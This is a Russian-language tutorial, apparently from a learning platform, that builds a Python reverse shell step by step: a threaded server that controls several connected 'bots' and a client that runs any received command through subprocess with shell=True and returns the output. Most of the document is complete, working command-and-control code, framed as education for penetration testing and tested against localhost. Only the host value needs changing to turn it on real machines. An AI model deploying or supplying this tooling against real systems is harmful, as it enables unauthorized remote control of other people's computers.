Введение
В этом проекте вы научитесь создавать обратный шелл (reverse shell) на языке Python, который позволяет управлять несколькими подконтрольными машинами, также называемыми «ботами». В отличие от традиционных оболочек, обратный шелл инициирует соединение от бота к контроллеру, что позволяет управлять удаленными хостами, даже если они находятся за брандмауэрами или NAT. Этот метод широко применяется в сфере кибербезопасности для тестирования на проникновение и безопасного администрирования контролируемых сред.
Прежде чем переходить к реализации, важно понять фундаментальные концепции нашего приложения, включая архитектуру «клиент-сервер» (C/S) и протокол управления передачей (TCP).
Архитектура C/S подразумевает наличие клиента, который запрашивает услуги, и сервера, который их предоставляет. В нашем случае боты выступают в роли клиентов, инициирующих соединение с нашим сервером, что позволяет нам удаленно выполнять на них команды.
Мы будем использовать TCP для обеспечения надежной связи с установлением соединения между сервером и клиентами. TCP гарантирует, что данные будут доставлены точно и в правильном порядке, что критически важно для корректного выполнения команд и получения ответов без ошибок.
👀 Предварительный просмотр

🎯 Задачи
В этом проекте вы узнаете:
- Как понимать архитектуру клиент-сервер (C/S) и протокол TCP как основу сетевых коммуникаций.
- Как настроить сервер, который ожидает входящие соединения от нескольких клиентов (ботов).
- Как создавать клиентские скрипты, которые подключаются к серверу и выполняют полученные команды.
- Как реализовать на сервере функционал выполнения команд и получения результатов для взаимодействия с подключенными клиентами.
- Как одновременно управлять несколькими клиентскими соединениями и переключаться между ними для отдачи команд.
🏆 Достижения
После завершения этого проекта вы сможете:
- Продемонстрировать владение основами модели клиент-сервер и протокола TCP для надежной сетевой связи.
- Реализовать на Python сервер обратного шелла с поддержкой нескольких клиентов.
- Создавать клиентские скрипты, способные подключаться к удаленному серверу и выполнять присланные им команды.
- Обрабатывать несколько соединений и управлять связью с группой клиентов в контролируемой среде.
- Применять практический опыт сетевого программирования и понимать принципы его использования в кибербезопасности и удаленном управлении системами.
Инициализация класса сервера
В файле с именем server.py начните с создания базовой структуры класса Server.
import socket
import threading
class Server:
def __init__(self, host='0.0.0.0', port=7676):
self.host = host
self.port = port
self.clients = []
self.current_client = None
self.exit_flag = False
self.lock = threading.Lock()
Класс Server предназначен для создания сервера, способного обрабатывать несколько клиентских соединений, которые в контексте обратного шелла часто называют «ботами». Разберем компоненты и функционал, определенные в методе инициализации (__init__):
- Импорты:
import socket: Импортирует встроенный модуль Pythonsocket, предоставляющий необходимые функции для сетевого взаимодействия. Сокеты являются конечными точками двустороннего канала связи.import threading: Импортирует модульthreading, позволяющий создавать несколько потоков внутри одного процесса. Это необходимо для одновременной обработки нескольких клиентов без блокировки основного потока выполнения сервера.
- Определение класса:
class Server:: Эта строка определяет классServer, инкапсулирующий логику серверной части обратного шелла.
- Метод инициализации (
__init__):def __init__(self, host='0.0.0.0', port=7676):: Инициализирует новый экземпляр класса. Принимает два параметра со значениями по умолчанию:host='0.0.0.0': Адрес '0.0.0.0' указывает серверу прослушивать все доступные сетевые интерфейсы. Это делает сервер доступным по любому IP-адресу, который есть у машины.port=7676: Порт по умолчанию, на котором сервер будет ждать входящие соединения. Выбор номера 7676 произволен и может быть изменен.
- Переменные экземпляра:
self.host: Хранит хост-адрес для прослушивания.self.port: Хранит номер порта.self.clients = []: Инициализирует пустой список для отслеживания подключенных клиентов. Каждый новый клиент будет добавляться сюда.self.current_client = None: Используется для хранения текущего выбранного клиента, которому будут отправляться команды.self.exit_flag = False: Флаг для управления основным циклом сервера. Установка его в значениеTrueдаст сигнал к корректному завершению работы.self.lock = threading.Lock(): Создает объект блокировки (мьютекс) для синхронизации потоков. Блокировки гарантируют, что только один поток может изменять общие ресурсы в конкретный момент времени, предотвращая состояние гонки.
Запуск TCP-сервера
Реализуйте метод run, чтобы запустить сервер и начать прослушивание соединений.
## продолжение в server.py
def run(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((self.host, self.port))
server_socket.listen(10)
print(f"Server listening on port {self.port}...")
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
connection_thread.start()
while not self.exit_flag:
if self.clients:
self.select_client()
self.handle_client()
Метод run — это часть класса Server, которая активирует TCP-сервер. Вот подробный разбор происходящего:
- Создание сокета:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Создает новый сокет. Использование оператораwithгарантирует автоматическое закрытие сокета.socket.AF_INETуказывает на использование протокола IPv4, аsocket.SOCK_STREAM— на протокол TCP.
- Привязка сокета:
server_socket.bind((self.host, self.port)): Методbindсвязывает сокет с конкретным сетевым интерфейсом и портом.
- Прослушивание соединений:
server_socket.listen(10): Переводит сокет в режим ожидания входящих подключений. Аргумент10определяет размер очереди (backlog) — сколько клиентов могут ожидать подключения, прежде чем сервер начнет им отказывать.
- Информационное сообщение:
print(f"Server listening on port {self.port}..."): Выводит в консоль сообщение о том, что сервер запущен и готов к работе.
- Обработка входящих подключений:
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Создает новый поток, целью которого является выполнение методаself.wait_for_connections. Этот метод будет постоянно принимать новые подключения в фоновом режиме.connection_thread.start(): Запускает поток. Это позволяет серверу продолжать выполнение основного циклаrun, не блокируясь на ожидании новых клиентов.
- Основной цикл сервера:
while not self.exit_flag:: Цикл работает, пока флаг выхода равенFalse.if self.clients:: Если в списке есть подключенные клиенты:self.select_client(): Метод для выбора оператором конкретного клиента из списка.self.handle_client(): Метод для непосредственного взаимодействия с выбранным клиентом (отправка команд и получение ответов).
Такая структура позволяет серверу управлять множеством соединений асинхронно, используя потоки для разделения задач приема подключений и управления ими.
Прием входящих соединений
Добавьте метод wait_for_connections для управления входящими клиентскими подключениями в отдельном потоке.
## продолжение в server.py
def wait_for_connections(self, server_socket):
while not self.exit_flag:
client_socket, client_address = server_socket.accept()
print(f"New connection from {client_address[0]}")
with self.lock:
self.clients.append((client_socket, client_address))
Метод wait_for_connections предназначен для непрерывного ожидания и принятия новых соединений. Разбор логики:
- Цикл прослушивания:
while not self.exit_flag:: Цикл работает до тех пор, пока сервер не получит команду на остановку.
- Принятие соединения:
client_socket, client_address = server_socket.accept(): Методacceptблокирует выполнение потока до тех пор, пока клиент не подключится. При подключении он возвращает новый объект сокета для связи с этим клиентом и кортеж с его адресом.
- Уведомление:
print(f"New connection from {client_address[0]}"): Выводит IP-адрес нового подключенного клиента.
- Потокобезопасное управление списком:
with self.lock:: Использует блокировку для обеспечения безопасного доступа к спискуself.clients. Это критически важно, так как один поток может добавлять клиента в список, пока другой поток (основной) пытается его прочитать.self.clients.append((client_socket, client_address)): Добавляет кортеж с сокетом и адресом в общий список клиентов.
Реализация функций взаимодействия с клиентом
Реализуйте функции для выбора конкретного клиента и взаимодействия с ним.
## продолжение в server.py
def select_client(self):
print("Available clients:")
for index, (_, addr) in enumerate(self.clients):
print(f"[{index}]-> {addr[0]}")
index = int(input("Select a client by index: "))
self.current_client = self.clients[index]
def handle_client(self):
client_socket, client_address = self.current_client
while True:
command = input(f"{client_address[0]}:~## ")
if command == '!ch':
break
if command == '!q':
self.exit_flag = True
print("Exiting server...")
break
client_socket.send(command.encode('utf-8'))
response = client_socket.recv(1024)
print(response.decode('utf-8'))
Функции select_client и handle_client являются ключевыми для работы оператора с обратным шеллом:
Функция select_client
Эта функция выводит список всех подключенных клиентов и позволяет выбрать одного из них:
- Выводит список в формате
[индекс]-> IP-адрес. - Запрашивает у оператора ввод индекса.
- Устанавливает
self.current_clientв соответствии с выбранным индексом.
Функция handle_client
Эта функция обеспечивает отправку команд и получение ответов:
- Входит в бесконечный цикл взаимодействия с выбранным клиентом.
!ch: Специальная команда для смены текущего клиента (выход из цикла взаимодействия обратно к выбору).!q: Команда для полного завершения работы сервера.client_socket.send(...): Кодирует строковую команду в байты (UTF-8) и отправляет её клиенту.client_socket.recv(1024): Ожидает ответ от клиента (до 1024 байт).print(response.decode('utf-8')): Декодирует полученные байты обратно в текст и выводит результат выполнения команды на экран.
Запуск сервера
Добавьте точку входа для создания экземпляра и запуска сервера.
## продолжение в server.py
if __name__ == "__main__":
server = Server()
server.run()
Этот блок кода запускает сервер при выполнении скрипта, позволяя ему начать принимать соединения.
Создание клиента
Теперь создадим клиентскую часть (бота). Клиент будет подключаться к серверу и исполнять полученные команды.
В файле client.py добавьте следующее содержимое:
import socket
import subprocess
import sys
import time
def connect_to_server(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
while True:
command = sock.recv(1024).decode('utf-8')
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode(sys.getfilesystemencoding())
sock.send(output.encode('utf-8'))
time.sleep(1)
if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 7676
connect_to_server(HOST, PORT)
Скрипт client.py описывает логику работы бота:
sock.connect((host, port)): Инициирует соединение с сервером.command = sock.recv(1024).decode('utf-8'): Ожидает команду от сервера.subprocess.run(command, shell=True, ...): Выполняет полученную команду в системной оболочке. Параметрыstdoutиstderrпозволяют перехватить стандартный вывод и ошибки.output = result.stdout.decode(...): Декодирует результат выполнения команды в строку, используя кодировку файловой системы.sock.send(output.encode('utf-8')): Отправляет результат обратно на сервер.time.sleep(1): Небольшая пауза перед ожиданием следующей команды для предотвращения избыточной нагрузки на сеть.
Этот скрипт превращает машину, на которой он запущен, в подконтрольный узел, готовый выполнять удаленные инструкции.
Тестирование системы
Наконец, проверим работу нашего обратного шелла.
Запуск сервера
Сначала запустите скрипт server.py в окне терминала:
python server.py
Запуск клиента
Откройте отдельное окно терминала:

Запустите скрипт client.py:
python client.py
Выполнение команд
Вернитесь в терминал сервера:

Вы должны увидеть возможность выбора подключенного клиента. После выбора попробуйте выполнить команду, например, просмотр содержимого корневой директории:
ls /
Вы увидите вывод команды ls /, выполненной на клиентской машине, прямо в терминале сервера.

Резюме
В этом проекте вы научились реализовывать базовый обратный шелл на Python, используя архитектуру клиент-сервер и протокол TCP. Вы создали сервер, который ожидает подключения от клиентов (ботов) и отправляет им команды. Этот навык является фундаментальным в сетевом программировании и кибербезопасности, демонстрируя мощь и гибкость Python для управления удаленными системами.



